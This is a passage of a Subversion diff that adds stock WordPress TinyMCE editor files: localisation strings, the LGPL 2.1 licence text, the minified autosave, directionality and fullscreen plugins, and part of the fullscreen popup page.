+medium:"' . mce_escape( __('Medium') ) . '",
+full_size:"' . mce_escape( __('Full Size') ) . '",
+current_link:"' . mce_escape( __('Current Link') ) . '",
+link_to_img:"' . mce_escape( __('Link to Image') ) . '",
+link_help:"' . mce_escape( __('Enter a link URL or click above for presets.') ) . '",
+adv_img_settings:"' . mce_escape( __('Advanced Image Settings') ) . '",
+source:"' . mce_escape( __('Source') )  . '",
+width:"' . mce_escape( __('Width') ) . '",
+height:"' . mce_escape( __('Height') ) . '",
+orig_size:"' . mce_escape( __('Original Size') ) . '",
+css:"' . mce_escape( __('CSS Class') ) . '",
+adv_link_settings:"' . mce_escape( __('Advanced Link Settings') )  . '",
+link_rel:"' . mce_escape( __('Link Rel') ) . '",
+height:"' . mce_escape( __('Height') ) . '",
+orig_size:"' . mce_escape( __('Original Size') ) . '",
+css:"' . mce_escape( __('CSS Class') ) . '",
+s60:"' . mce_escape( __('60%') ) . '",
+s70:"' . mce_escape( __('70%') ) . '",
+s80:"' . mce_escape( __('80%') ) . '",
+s90:"' . mce_escape( __('90%') ) . '",
+s100:"' . mce_escape( __('100%') ) . '",
+s110:"' . mce_escape( __('110%') ) . '",
+s120:"' . mce_escape( __('120%') ) . '",
+s130:"' . mce_escape( __('130%') ) . '",
+img_title:"' . mce_escape( __('Edit Image Title') ) . '",
+caption:"' . mce_escape( __('Edit Image Caption') ) . '",
+alt:"' . mce_escape( __('Edit Alternate Text') ) . '"
+});
+';
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/license.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/license.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/license.txt	(revision 44)
@@ -0,0 +1,504 @@
+		  GNU LESSER GENERAL PUBLIC LICENSE
+		       Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+ 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+		  GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+  
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+			    NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+           How to Apply These Terms to Your New Libraries
+
+  If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change.  You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+  To apply these terms, attach the following notices to the library.  It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the library's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the
+  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+  <signature of Ty Coon>, 1 April 1990
+  Ty Coon, President of Vice
+
+That's all there is to it!
+
+
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/autosave/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/autosave/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/autosave/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){tinymce.create('tinymce.plugins.AutoSavePlugin',{init:function(ed,url){var t=this;t.editor=ed;window.onbeforeunload=tinymce.plugins.AutoSavePlugin._beforeUnloadHandler;},getInfo:function(){return{longname:'Auto save',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave',version:tinymce.majorVersion+"."+tinymce.minorVersion};},'static':{_beforeUnloadHandler:function(){var msg;tinymce.each(tinyMCE.editors,function(ed){if(ed.getParam("fullscreen_is_enabled"))return;if(ed.isDirty()){msg=ed.getLang("autosave.unload_msg");return false;}});return msg;}}});tinymce.PluginManager.add('autosave',tinymce.plugins.AutoSavePlugin);})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/directionality/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/directionality/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/directionality/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){tinymce.create("tinymce.plugins.Directionality",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceDirectionLTR",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="ltr"){a.dom.setAttrib(d,"dir","ltr")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addCommand("mceDirectionRTL",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="rtl"){a.dom.setAttrib(d,"dir","rtl")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"});a.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"});a.onNodeChange.add(c._nodeChange,c)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var d=b.dom,c;e=d.getParent(e,d.isBlock);if(!e){a.setDisabled("ltr",1);a.setDisabled("rtl",1);return}c=d.getAttrib(e,"dir");a.setActive("ltr",c=="ltr");a.setDisabled("ltr",0);a.setActive("rtl",c=="rtl");a.setDisabled("rtl",0)}});tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.FullScreenPlugin",{init:function(c,d){var e=this,f={},b;e.editor=c;c.addCommand("mceFullScreen",function(){var h,i=a.doc.documentElement;if(c.getParam("fullscreen_is_enabled")){if(c.getParam("fullscreen_new_window")){closeFullscreen()}else{a.win.setTimeout(function(){tinymce.dom.Event.remove(a.win,"resize",e.resizeFunc);tinyMCE.get(c.getParam("fullscreen_editor_id")).setContent(c.getContent({format:"raw"}),{format:"raw"});tinyMCE.remove(c);a.remove("mce_fullscreen_container");i.style.overflow=c.getParam("fullscreen_html_overflow");a.setStyle(a.doc.body,"overflow",c.getParam("fullscreen_overflow"));a.win.scrollTo(c.getParam("fullscreen_scrollx"),c.getParam("fullscreen_scrolly"));tinyMCE.settings=tinyMCE.oldSettings},10)}return}if(c.getParam("fullscreen_new_window")){h=a.win.open(d+"/fullscreen.htm","mceFullScreenPopup","fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width="+screen.availWidth+",height="+screen.availHeight);try{h.resizeTo(screen.availWidth,screen.availHeight)}catch(g){}}else{tinyMCE.oldSettings=tinyMCE.settings;f.fullscreen_overflow=a.getStyle(a.doc.body,"overflow",1)||"auto";f.fullscreen_html_overflow=a.getStyle(i,"overflow",1);b=a.getViewPort();f.fullscreen_scrollx=b.x;f.fullscreen_scrolly=b.y;if(tinymce.isOpera&&f.fullscreen_overflow=="visible"){f.fullscreen_overflow="auto"}if(tinymce.isIE&&f.fullscreen_overflow=="scroll"){f.fullscreen_overflow="auto"}if(tinymce.isIE&&(f.fullscreen_html_overflow=="visible"||f.fullscreen_html_overflow=="scroll")){f.fullscreen_html_overflow="auto"}if(f.fullscreen_overflow=="0px"){f.fullscreen_overflow=""}a.setStyle(a.doc.body,"overflow","hidden");i.style.overflow="hidden";b=a.getViewPort();a.win.scrollTo(0,0);if(tinymce.isIE){b.h-=1}n=a.add(a.doc.body,"div",{id:"mce_fullscreen_container",style:"position:"+(tinymce.isIE6||(tinymce.isIE&&!a.boxModel)?"absolute":"fixed")+";top:0;left:0;width:"+b.w+"px;height:"+b.h+"px;z-index:200000;"});a.add(n,"div",{id:"mce_fullscreen"});tinymce.each(c.settings,function(j,k){f[k]=j});f.id="mce_fullscreen";f.width=n.clientWidth;f.height=n.clientHeight-15;f.fullscreen_is_enabled=true;f.fullscreen_editor_id=c.id;f.theme_advanced_resizing=false;f.save_onsavecallback=function(){c.setContent(tinyMCE.get(f.id).getContent({format:"raw"}),{format:"raw"});c.execCommand("mceSave")};tinymce.each(c.getParam("fullscreen_settings"),function(l,j){f[j]=l});if(f.theme_advanced_toolbar_location==="external"){f.theme_advanced_toolbar_location="top"}e.fullscreenEditor=new tinymce.Editor("mce_fullscreen",f);e.fullscreenEditor.onInit.add(function(){e.fullscreenEditor.setContent(c.getContent());e.fullscreenEditor.focus()});e.fullscreenEditor.render();tinyMCE.add(e.fullscreenEditor);e.fullscreenElement=new tinymce.dom.Element("mce_fullscreen_container");e.fullscreenElement.update();e.resizeFunc=tinymce.dom.Event.add(a.win,"resize",function(){var j=tinymce.DOM.getViewPort();e.fullscreenEditor.theme.resizeTo(j.w,j.h)})}});c.addButton("fullscreen",{title:"fullscreen.desc",cmd:"mceFullScreen"});c.onNodeChange.add(function(h,g){g.setActive("fullscreen",h.getParam("fullscreen_is_enabled"))})},getInfo:function(){return{longname:"Fullscreen",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("fullscreen",tinymce.plugins.FullScreenPlugin)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm	(revision 44)
@@ -0,0 +1,110 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+	<script type="text/javascript" src="../../tiny_mce.js?ver=3241-1141"></script>
+	<script type="text/javascript">
+		function patchCallback(settings, key) {
+			if (settings[key])
+				settings[key] = "window.opener." + settings[key];
+		}
+
+		var settings = {}, paSe = window.opener.tinyMCE.activeEditor.settings, oeID = window.opener.tinyMCE.activeEditor.id;
+
+		// Clone array
+		for (var n in paSe)
+			settings[n] = paSe[n];
+
+		// Override options for fullscreen
+		for (var n in paSe.fullscreen_settings)
+			settings[n] = paSe.fullscreen_settings[n];
+
+		// Patch callbacks, make them point to window.opener
+		patchCallback(settings, 'urlconverter_callback');
+		patchCallback(settings, 'insertlink_callback');
+		patchCallback(settings, 'insertimage_callback');
+		patchCallback(settings, 'setupcontent_callback');
+		patchCallback(settings, 'save_callback');
+		patchCallback(settings, 'onchange_callback');
+		patchCallback(settings, 'init_instance_callback');
+		patchCallback(settings, 'file_browser_callback');
+		patchCallback(settings, 'cleanup_callback');
+		patchCallback(settings, 'execcommand_callback');
+		patchCallback(settings, 'oninit');
+
+		// Set options
+		delete settings.id;
+		settings['mode'] = 'exact';
+		settings['elements'] = 'fullscreenarea';
+		settings['add_unload_trigger'] = false;
+		settings['ask'] = false;
+		settings['document_base_url'] = window.opener.tinyMCE.activeEditor.documentBaseURI.getURI();
+		settings['fullscreen_is_enabled'] = true;
+		settings['fullscreen_editor_id'] = oeID;
+		settings['theme_advanced_resizing'] = false;
+		settings['strict_loading_mode'] = true;
+
+		settings.save_onsavecallback = function() {
+			window.opener.tinyMCE.get(oeID).setContent(tinyMCE.get('fullscreenarea').getContent({format : 'raw'}), {format : 'raw'});
+			window.opener.tinyMCE.get(oeID).execCommand('mceSave');
+			window.close();
+		};
+
+		function unloadHandler(e) {
+			moveContent();
+		}
+
+		function moveContent() {
+			window.opener.tinyMCE.get(oeID).setContent(tinyMCE.activeEditor.getContent());
+		}
+
+		function closeFullscreen() {
+			moveContent();
+			window.close();
+		}
+
+		function doParentSubmit() {
+			moveContent();
+
+			if (window.opener.tinyMCE.selectedInstance.formElement.form)
+				window.opener.tinyMCE.selectedInstance.formElement.form.submit();
+
+			window.close();
+
+			return false;
+		}
+
+		function render() {
+			var e = document.getElementById('fullscreenarea'), vp, ed, ow, oh, dom = tinymce.DOM;
+
+			e.value = window.opener.tinyMCE.get(oeID).getContent();
+
+			vp = dom.getViewPort();
+			settings.width = vp.w;
+			settings.height = vp.h - 15;
+
+			tinymce.dom.Event.add(window, 'resize', function() {
+				var vp = dom.getViewPort();
+
+				tinyMCE.activeEditor.theme.resizeTo(vp.w, vp.h);
+			});
+
+			tinyMCE.init(settings);
+		}
+
+		// Add onunload
+		tinymce.dom.Event.add(window, "beforeunload", unloadHandler);
+	</script>
+</head>
